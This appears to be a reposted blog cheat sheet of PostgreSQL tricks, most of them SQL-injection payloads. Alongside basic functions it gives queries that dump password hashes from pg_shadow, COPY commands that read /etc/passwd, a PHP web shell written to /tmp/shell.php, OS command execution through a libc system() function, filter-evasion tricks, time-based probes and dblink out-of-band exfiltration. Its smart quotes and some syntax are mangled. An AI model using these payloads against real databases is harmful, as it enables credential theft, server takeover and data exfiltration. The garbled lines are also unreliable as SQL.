Postgres 小技巧

2019独角兽企业重金招聘Python工程师标准>>>

• Version :

SELECT VERSION()

• Directories :

SELECT current_setting (‘data_directory’)
SELECT current_setting (‘hba_file’)
SELECT current_setting (‘config_file’)
SELECT current_setting (‘ident_file’)
SELECT current_setting (‘external_pid_file’)

• Users :

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

• Current Database :
  

SELECT current_database();

• Concatenation :

SELECT 1||2||3; #Returns 123

• Get Collation :

SELECT pg_client_encoding(); #Returns your current encoding (collation).

• Change Collation :

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.

• Wildcards in SELECT(s) :

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

• Regular Expression in SELECT(s) :

  ### Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

• SELECT Without Dublicates :

SELECT DISTINCT foo FROM bar

• Counting Columns :

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

• Get Amount of PostgreSQL Users :

SELECT COUNT(*) FROM pg_catalog.pg_user

• Get PostgreSQL Users :

SELECT usename FROM pg_user

• Get PostgreSQL User Privileges on Different Columns :

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

• Get PostgreSQL User Privileges :

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

• Get PostgreSQL User Credentials & Privileges 

SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

• Get PostgreSQL DBA Accounts :

SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

• Get Databases :

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

• Get Databases & Tables :

SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

• Get Databases, Tables & Columns : 

SELECT table_schema,table_name,column_name FROM information_schema.columns

• SELECT A Certain Row : 

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
…
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

• Conversion (Casting) : 

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

• Substring : 

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

• Hexadecimal Evasion : 

#Not as fancy as in MySQL, but it sure works! 

SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

• ASCII to Number : 

SELECT ASCII(‘A’); #Returns 65.

• Number to ASCII : 

SELECT CHR(65); #Returns A.

• If Statement : 

#Impossible in SELECT statements.

#However, here’s a work-around with sub-select(s). 

SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

• Case Statement : 

#May be used instead of the If-Statement. 

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

• Read File(s) : 

CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
…
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

• Write File(s) : 

CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’);
COPY file(content) TO ‘/tmp/shell.php’;

• Logical Operator(s) : 

#http://en.wikipedia.org/wiki/Logical_connective 

AND

OR

NOT 

• Comments : 

SELECT foo, bar FROM foo.bar/* Multi line comment  */
SELECT foo, bar FROM foo.bar– Single line comment

• A few evasions/methods to use between your PostgreSQL statements : 

CR (%0D); #Carrier Return. 

LF (%0A); #Line Feed. 

Tab (%09); #The Tab-key. 

Space (%20); #Most commonly used. You know what a space is. 

Multiline Comment (/**/); #Well, as the name says. 

Parenthesis, ( and ); #Can also be used as separators when used right.  

Parenthesis instead of space :

#As said two lines above, the use of parenthesis can be used as a separator. 

SELECT * FROM foo.bar WHERE id=(-1) UNION (SELECT(1),(2));

• Auto-Casting to Right Collation : 

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

• Benchmark :

#Takes about 7.5 seconds to perform this logical operation.

#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL. 

SELECT (||/(9999!));

• Sleep : 

SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

• Get PostgreSQL IP : 

SELECT inet_server_addr()

• Get PostgreSQL Port : 

SELECT inet_server_port()

• Command Execution : 

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band )) : 

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL : 

    dblink: The Root Of All Evil

    Mapping Library Functions

    From Sleeping and Copying In PostgreSQL 8.2

    Recommendation and Prevention

    Introducing pgshell

转载于:https://my.oschina.net/frankies/blog/363805